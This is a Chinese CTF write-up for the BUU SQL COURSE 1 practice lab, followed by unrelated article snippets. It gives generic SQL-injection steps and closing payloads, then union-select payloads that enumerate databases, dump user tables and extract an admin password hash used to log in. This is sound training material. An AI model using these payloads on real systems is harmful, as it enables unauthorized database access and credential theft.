SQL注入靶机练习:BUU SQL COURSE 1

news2025/7/18 7:37:23

SQL注入靶机练习:BUU SQL COURSE 1

  • 一、SQL注入知识点
  • 二、前置知识
  • 三、SQL注入测试的一般步骤
  • 四、解题过程

一、SQL注入知识点

       可参考SQL注入详解

二、前置知识

       参考来源:渗透攻防Web篇-深入浅出SQL注入
       mysql5.0以上版本中存在一个重要的系统数据库information_schema,通过此数据库可访问mysql中存在的数据库名、表名、字段名等元数据。
       information_schema中有三个表成为了sql注入构造的关键:
       1、infromation_schema.columns
            table_schema        数据库名
            table_name           表名
            column_name       列名
       2、information_schema.tables
            table_schema        数据库名
            table_name           表名
       3、information_schema.schemata
            schema_name       数据库名

三、SQL注入测试的一般步骤

1、 找到注入点
       单引号、两个单引号、and 1=1、and 1=2、or 1=1等尝试,找到对查询结果有影响的参数
2、闭合语句
       or 1=1 --+
       ’ or 1=1 --+
       " or 1=1 --+
       ) or 1=1 --+
       ‘) or 1=1 --+
       ‘)) or 1=1 --+
       ") or 1=1 --+
       ")) or 1=1 --+
       --+用于注释sql语句中的后引号,–后的+号主要作用是提供一个空格,sql语句单行注释后需有空格,+会被解码为空格
3、带入语句进行爆破
       1)order by 确认几个字段
       2)联合查询确定回显位置
            union select 1,2
       3)爆数据库版本、数据库名称、用户名称等
            union select @@version,database(),user()
       4)爆所有数据库
            union select group_concat(schema_name) from information_schema.schemata
       5)爆所有表
            union select group_concat(table_name) from information_schema.tables where table_schema =’<数据库名>’
       6)爆对应表的所有字段
            union select group_concat(column_name) from information_schema.columns where table_name=‘<表名>’
       7)爆表中数据
            union select group_concat(<字段1>,’ ',<字段2>) from <表名>

四、解题过程

1、寻找存在SQL注入的页面
       发现热点中存在测试新闻1-3,依次点击发现URL中分别对应1,2,3,存在SQL注入的可能
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
       按F12进入开发者模式可以看到对应请求的URL中存在明显的SQL查询字段:
在这里插入图片描述
       双击左侧标记区域可以进入到对应带有id=3的页面:
在这里插入图片描述
2、确定注入点
       使用and 1=1、and 1=2语句进行测试:
在这里插入图片描述
在这里插入图片描述
       可以看到两次显示结果存在不同,当and 1=2恒为假时页面无内容显示,存在SQL注入的漏洞
3、判断字段数
       分别使用的payload如下:
       id=1 order by 1
在这里插入图片描述
       id=1 order by 2
在这里插入图片描述
       id=1 order by 3
在这里插入图片描述
       当order by 超过2时会报错,所以此表共2个字段
4、确定回显位置:
       主要用于定位后端sql字段在前端显示的位置,采用联合查询的方式确定。
       id=0 union select 111,222
在这里插入图片描述
5、爆数据库版本、数据库名称
       id=0 union select @@version,database()
在这里插入图片描述
6、爆所有库
       id=0 union select 111,group_concat(schema_name) from information_schema.schemata
在这里插入图片描述
       可以得到存在的数据库有:information_schema,ctftraining,mysql,performance_schema,test,news
7、爆所有表
       id=0 union select 111,group_concat(table_name) from information_schema.tables
在这里插入图片描述
       爆指定数据库中所有表
       id=0 union select 111,group_concat(table_name) from information_schema.tables where table_schema=‘ctftraining’
在这里插入图片描述
       依次对各数据库进行爆表可得到以下数据:

数据库名表名
ctftrainingFLAG_TABLE,news,users
mysqlcolumn_stats,columns_priv,db,event,func,general_log,gtid_slave_pos,help_category,help_keyword,help_relation,help_topic,host,index_stats,innodb_index_stats,innodb_table_stats,plugin,proc,procs_priv,proxies_priv,roles_mapping,servers,slow_log,table_stats,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,transaction_registry,user
testnull
newsadmin,contents

       从表名推断可能存在用户信息的表有users、user、admin
8、爆表中所有字段
       id=0 union select 111,group_concat(column_name) from information_schema.columns where table_name=‘users’
在这里插入图片描述
依次对各表进行爆字段可得到以下数据:

表名字段名
usersid,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
userHost,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,Delete_history_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time
adminid,username,password
contentsid,title,content

       可能存在用户信息的有表users中的username和password字段、表user中的User和Password字段、表admin中的username、password字段
9、爆表中数据:
       id=0 union select 111,group_concat(username,’ ‘,password) from users
在这里插入图片描述
       id=0 union select 111,group_concat(username,’ ',password) from admin
在这里插入图片描述
       依次对各字段进行爆数据可得到以下结果:

表名字段名
usersusername,password
userUser,Password
adminusername,passwordadmin 21fdef4018965d7721b228b1081a64ad

10、登录界面
       admin的密码是32位,推测是使用了MD5加密,使用在线解密软件解密失败
在这里插入图片描述
       直接使用该密文登录系统后得到Flag:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/17399.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

无敌,全面对标字节跳动2-2:算法与数据结构突击手册(leetcode)

学习是一种基础性的能力。然而&#xff0c;“吾生也有涯&#xff0c;而知也无涯。”&#xff0c;如果学习不注意方法&#xff0c;则会“以有涯随无涯&#xff0c;殆矣”。 学习就像吃饭睡觉一样&#xff0c;是人的一种本能&#xff0c;人人都有学习的能力。我们在刚出生的时候…

某城市道路桥梁设计计算书+cad图纸

第一章 工程概述 41 1.1设计题目 41 1.2 设计资料 42 1&#xff0e;3 桥梁设计的基本要求 42 1.3.1 使用上的要求&#xff1a; 42 1.3.2 经济上的要求&#xff1a; 42 1.3.3 结构和尺寸上的要求&#xff1a; 42 1.3.4 施工上的要求&#xff1a; 42 1.3.5美观上的要求&#xff1…

Aspose.PDF for Java Crack by Xacker

Aspose.PDF for Java 是一个本地库&#xff0c;使开发人员能够将 PDF 处理功能添加到他们的应用程序中。API 可用于构建任何类型的 32 位和 64 位应用程序&#xff0c;以在不使用 Adob​​e Acrobat 的情况下生成或读取、转换和操作 PDF 文件。 Aspose.PDF for Java API 允许执…

嵌入式(驱动开发)(内核内存管理)

一、内核内存管理框架 内核将物理内存等分成N块4KB&#xff0c;称之为一页&#xff0c;每页都用一个struct page来表示&#xff0c;采用伙伴关系算法维护 内核地址空间划分图&#xff1a; 3G~3G896M&#xff1a;低端内存&#xff0c;直接映射 虚拟地址 3G 物理地址 ​ 细…

Disk Drill for Mac v5.0.1043 苹果数据恢复软件

Disk Drill Enterprise for Mac&#xff0c;数据恢复软件&#xff0c;Disk Drill for Mac 解锁钥匙&#xff0c;Disk Drill for Mac序列号&#xff0c;顶尖的Mac数据恢复软件&#xff0c;你需要恢复在Mac OS X中已经删除的文件吗&#xff1f;比如重要商业文档、音乐、图片或者视…

Linux开发工具(5)——git

文章目录git版本控制器git是什么git的操作clone仓库到本地上传本地文件到gitgit版本控制器 git是什么 标题也说了git就是一个版本控制器&#xff0c;版本控制器是用来保存一个文件的历史版本&#xff0c;如果有需要可以进行回溯&#xff0c;也就是取得以前编辑完成的版本。 比…

Flutter基础知识

const 常量构造函数&#xff0c;如果控件是&#xff0c;则前面加&#xff1b;如果常量构造函数包含有非常量构造函数&#xff0c;则不加&#xff0c;内部是的控件单独加 1.Flutter学习网址 Flutter 中文官网 https://flutter.cn/ Flutter 官网&#xff1a;https://flutter.de…

移动WEB开发之流式布局--移动端基础

浏览器现状 PC端常见浏览器 360浏览器、谷歌浏览器、火狐浏览器、QQ浏览器、百度浏览器、搜狗浏览器、IE浏览器。 移动端常见浏览器 UC浏览器&#xff0c;QQ浏览器&#xff0c;欧朋浏览器&#xff0c; 百度手机浏览器&#xff0c;360安全浏览器&#xff0c;谷歌 浏览器&…

数学建模笔记

文章目录层次分析法——评价类问题原理代码插值算法原理代码拟合算法原理代码相关系数person 相关系数spearman 相关系数二分类和多分类二分类逻辑回归费希尔判别多分类Fisher判别聚类模型分析时间序列分析层次分析法——评价类问题 原理 1. 首先确定评价的目标&#xff0c;可…

智慧医院解决方案-最新全套文件

智慧医院解决方案-最新全套文件一、背景概述二、建设面临的挑战1、网络安全威胁2、关键业务宕机风险3、核心业务数据丢失风险三、总体建设架构四、建设方案五、获取 - 智慧医院全套最新解决方案合集一、背景概述 医院医疗信息化建设已走过两个阶段&#xff1a;第1阶段就是建立…

Java阻塞队列中的异类,SynchronousQueue底层实现原理剖析

上篇文章谈到BlockingQueue的使用场景&#xff0c;并重点分析了ArrayBlockingQueue的实现原理&#xff0c;了解到ArrayBlockingQueue底层是基于数组实现的阻塞队列。 但是BlockingQueue的实现类中&#xff0c;有一种阻塞队列比较特殊&#xff0c;就是SynchronousQueue&#xf…

mysql的服启动以及用户登录

目录 1.mysql的启动 A.使用电脑图形化界面打开 B.使用命令行 2.数据库的登录 A.使用命令行加密码直接登录 B.使用命令行再后面输入密码实现登录 C.访问同一台电脑上的不同数据库 D.访问其他主机上的数据库 E.退出mysql 1.mysql的启动 A.使用电脑图形化界面打开 在电脑当中…

Spring MVC面试题

什么是Spring MVC&#xff1f;简单介绍下你对Spring MVC的理解&#xff1f; SpringMVC是一个基于Java的实现了MVC设计模式的请求驱动类型的轻量级Web框架&#xff0c;把复杂的web应用分成逻辑清晰的表示层、控制层、业务层&#xff08;服务层&#xff09;、持久层&#xff0c;…

谈谈从DAMA、DCMM和DGI三大数据治理框架详细了解数据战略规划的关键要素

当前,数据作为新的生产要素提到了关键位置,众多组织认为数据是重要的战略资产。可是,如何发挥数据要素的生产力,数据资产又如何为企业创造价值,确有些无从下手。那么,这就是数据战略要解决的问题。企业怎么看待数据资产、数据的价值如何定位,对数据价值的期望是什么,数…

javaweb 之 会话技术 Cookie Session 登录注册案例 验证码

会话跟踪技术 会话&#xff1a;用户打开浏览器&#xff0c;访问web服务器的资源&#xff0c;会话建立&#xff0c;直到有一方断开连接&#xff0c;会话结束。在一次会话中可以包含多次请求和响应 会话跟踪&#xff1a;一种维护浏览器状态的方法&#xff0c;服务器需要识别多次…

《面试系列篇》——11种常用的设计模式

目录 【一】前言 【二】单例模式 2.1概念 2.2 饿汉模式 2.3 懒汉模式 多线程版本&#xff1a; 【三】简单工厂模式 【四】工厂方法模式 【五】抽象工厂模式 【六】策略模式 【七】装饰模式 7.1 定义 7.2 使用示例 【八】代理模式 8.1 定义 8.2 使用的优势 8.3…

【机器学习】岭回归和LASSO回归详解以及相关计算实例-加利福尼亚的房价数据集、红酒数据集

文章目录一,岭回归和LASSO回归1.1 多重共线性1.2 岭回归接手1.3 线性回归的漏洞&#xff08;线性系数的矛盾解释&#xff09;1.4 Ridge Regression1.5 岭回归实例&#xff08;加利福尼亚的房价数据集&#xff09;1.6 MSE1.7 LASSO1.8 Ridge岭回归和Lasso套索回归的比较1.9 Lass…

H5基本开发2——(HTML常见标签)

常见标签说明 <!DOCTYPE html> <html lang"zh-CN"> <head> <meta charset"UTF-8"> <meta name"viewport" content"widthdevice-width, initial-scale1.0"> <meta http-equiv"X-UA-Compatible&q…

Elasticsearch安装

1.Linux下使用Elasticsearch 本教程所有操作均在CentOS 7.x环境下进行。 elasticsearch基于java进行开发&#xff0c;所以在运行elasticsearch之前需要安装jdk yum -y install java-1.8.0-openjdk 1.1.安装和配置 即将开始在centos 7 下安装Elasticsearch 1.1.1.新建一个用…

(四)QCustomPlot柱形图动态显示实例开发

系列文章目录 提示&#xff1a;这里是该系列文章的所有文章的目录 第一章&#xff1a; &#xff08;一&#xff09;QCustomPlot常见属性设置、多曲线绘制、动态曲线绘制、生成游标、矩形放大等功能实现 第二章&#xff1a; &#xff08;二&#xff09;QCustomPlot生成热力图/矩…